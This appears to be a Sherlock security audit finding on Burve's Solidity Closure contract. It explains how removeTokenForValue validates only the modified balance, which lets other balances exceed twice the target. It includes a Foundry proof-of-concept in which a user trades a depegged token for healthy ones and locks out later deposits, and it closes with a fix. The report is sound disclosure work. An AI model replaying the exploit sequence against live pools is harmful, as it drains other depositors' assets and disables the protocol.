Sneaky Burlap Pigeon

High

# Exceeding Twice Target in the `removeSingleForValue` Function

### Summary
In the `Closure::removeTokenForValue` function, while the `target` is decreased, only the balance that has just been modified is checked. Other balances are not validated, which can result in exceeding twice the `target`.

### Root Cause
https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/src/multi/closure/Closure.sol#L374
```solidity
    function removeTokenForValue(
        Closure storage self,
        VertexId vid,
        uint256 amount,
        uint256 bgtPercentX256,
        SearchParams memory searchParams
    ) internal returns (uint256 value, uint256 bgtValue, uint256 tax) {
        require(!isAnyLocked(self), CannotRemoveWithLockedVertex(self.cid));
        require(self.cid.contains(vid), IrrelevantVertex(self.cid, vid));
        trimAllBalances(self);
        uint8 idx = vid.idx();
        // We tax first so the amount which moves up the value they're paying.
        uint256 taxedRemove = UnsafeMath.divRoundingUp(
            amount << 128,
            ONEX128 - self.baseFeeX128
        );
        tax = taxedRemove - amount;
        // Use the ValueLib's newton's method to solve for the value removed and update target.
        uint256[MAX_TOKENS] storage esX128 = SimplexLib.getEsX128();
        // This is tricky and strange, but see addTokenForValue for reason.
        self.balances[idx] -= taxedRemove;
        uint256 newTargetX128;
        {
            (uint256[] memory mesX128, uint256[] memory mxs) = ValueLib
                .stripArrays(self.n, esX128, self.balances);
            newTargetX128 = ValueLib.t(
                searchParams,
                mesX128,
                mxs,
                self.targetX128 // TODO: Add better starting estimate logic
            );
        }
        // The pool is now entirely correct by just updating the target and value balances.
        uint256 valueX128 = ((self.targetX128 - newTargetX128) * self.n);
        value = valueX128 >> 128;
        if ((value << 128) > 0) value += 1; // We need to round up.
        bgtValue = FullMath.mulX256(value, bgtPercentX256, false); // Convention to round BGT down both ways.
        self.targetX128 = newTargetX128;
374:    self.setBalance(idx, self.balances[idx]);
        self.valueStaked -= value;
        self.bgtValueStaked -= bgtValue;
    }
```

### Internal pre-conditions
N/A

### External pre-conditions
N/A

### Attack Path
N/A

### PoC
https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/test/facets/ValueFacet.t.sol
```solidity
    function test_exceedTwiceTarget() public {
        uint256[4] memory initBalances = getBalances(alice);
        vm.startPrank(alice);
        valueFacet.addValue(alice, 0x7, 7.5e20, 0);
        valueFacet.removeSingleForValue(alice, 0x7, tokens[1], 3.2e20, 0, 0);
        valueFacet.removeSingleForValue(alice, 0x7, tokens[2], 3.3e20, 0, 0);
        valueFacet.removeSingleForValue(alice, 0x7, tokens[1], 0.2e20, 0, 0);
        valueFacet.removeSingleForValue(alice, 0x7, tokens[2], 0.1e20, 0, 0);
        vm.stopPrank();

        (, uint256 targetX128, uint256[MAX_TOKENS] memory balances, , ) = simplexFacet.getClosureValue(0x7);
        console.log("target      : %e", targetX128 >> 128);
        console.log("balances[0] : %e", balances[0]);
        console.log("balances[1] : %e", balances[1]);
        console.log("balances[2] : %e\n", balances[2]);

        uint256[4] memory currentBalances = getBalances(alice);
        int256[4] memory diffs = diffBalances(currentBalances, initBalances);
        console.log("alice_diffs[0]  : %e", diffs[0]);
        console.log("alice_diffs[1]  : %e", diffs[1]);
        console.log("alice_diffs[2]  : %e", diffs[2]);

        vm.prank(bob);
        valueFacet.addValue(bob, 0x7, 3e20, 0);
    }
```
forge test --match-test "test_exceedTwiceTarget" -vv
Result:
```bash
Ran 1 test for test/facets/ValueFacet.t.sol:ValueFacetTest
[FAIL: TokenBalanceOutOfBounds(7, 0, 689599233505280216972 [6.895e20], 16921888250143289070 [1.692e19], 406125318003438937672 [4.061e20])] test_exceedTwiceTarget() (gas: 2141354)
Logs:
  target      : 1.03062659001719468836e20
  balances[0] : 3.5e20
  balances[1] : 1e19
  balances[2] : 1e19

  alice_diffs[0]  : -2.5e20
  alice_diffs[1]  : 9e19
  alice_diffs[2]  : 9e19
```
As can be seen, balance[0] = 3.5e20 > 2 * 1.031(target).
In this PoC, Alice withdraw 0.9e20 of token1 and 0.9e20 of token2 using 2.5e20 of depegged token0.
After this, Bob's `addValue` function fails.

### Impact
1. Most functions, including time-sensitive ones, may become unusable due to this issue.
2. A malicious user can exchange assets using depegged assets by exceeding the protocol limits.

https://docs.burve.fi/technicals/multi-pool-details/risks#passive-interventions
> Burve's Multi-pool contract cannot accept more than twice the target balance for any token (currently twice but this can be adjusted by governance).
>Effectively, once a token's price goes off peg too far, the contract simply stops accepting more of it. If the price recovers then the contract will naturally start selling it again and collect fees as if nothing has happened.

### Mitigation
https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/src/multi/closure/Closure.sol#L374
```diff
    function removeTokenForValue(
        Closure storage self,
        VertexId vid,
        uint256 amount,
        uint256 bgtPercentX256,
        SearchParams memory searchParams
    ) internal returns (uint256 value, uint256 bgtValue, uint256 tax) {
        require(!isAnyLocked(self), CannotRemoveWithLockedVertex(self.cid));
        require(self.cid.contains(vid), IrrelevantVertex(self.cid, vid));
        trimAllBalances(self);
        uint8 idx = vid.idx();
        // We tax first so the amount which moves up the value they're paying.
        uint256 taxedRemove = UnsafeMath.divRoundingUp(
            amount << 128,
            ONEX128 - self.baseFeeX128
        );
        tax = taxedRemove - amount;
        // Use the ValueLib's newton's method to solve for the value removed and update target.
        uint256[MAX_TOKENS] storage esX128 = SimplexLib.getEsX128();
        // This is tricky and strange, but see addTokenForValue for reason.
        self.balances[idx] -= taxedRemove;
        uint256 newTargetX128;
        {
            (uint256[] memory mesX128, uint256[] memory mxs) = ValueLib
                .stripArrays(self.n, esX128, self.balances);
            newTargetX128 = ValueLib.t(
                searchParams,
                mesX128,
                mxs,
                self.targetX128 // TODO: Add better starting estimate logic
            );
        }
        // The pool is now entirely correct by just updating the target and value balances.
        uint256 valueX128 = ((self.targetX128 - newTargetX128) * self.n);
        value = valueX128 >> 128;
        if ((value << 128) > 0) value += 1; // We need to round up.
        bgtValue = FullMath.mulX256(value, bgtPercentX256, false); // Convention to round BGT down both ways.
        self.targetX128 = newTargetX128;
-374:    self.setBalance(idx, self.balances[idx]);
+        for (uint8 i = 0; i < MAX_TOKENS; i++) if (self.cid.contains(i)) self.setBalance(i, self.balances[i]);
        self.valueStaked -= value;
        self.bgtValueStaked -= bgtValue;
    }
```
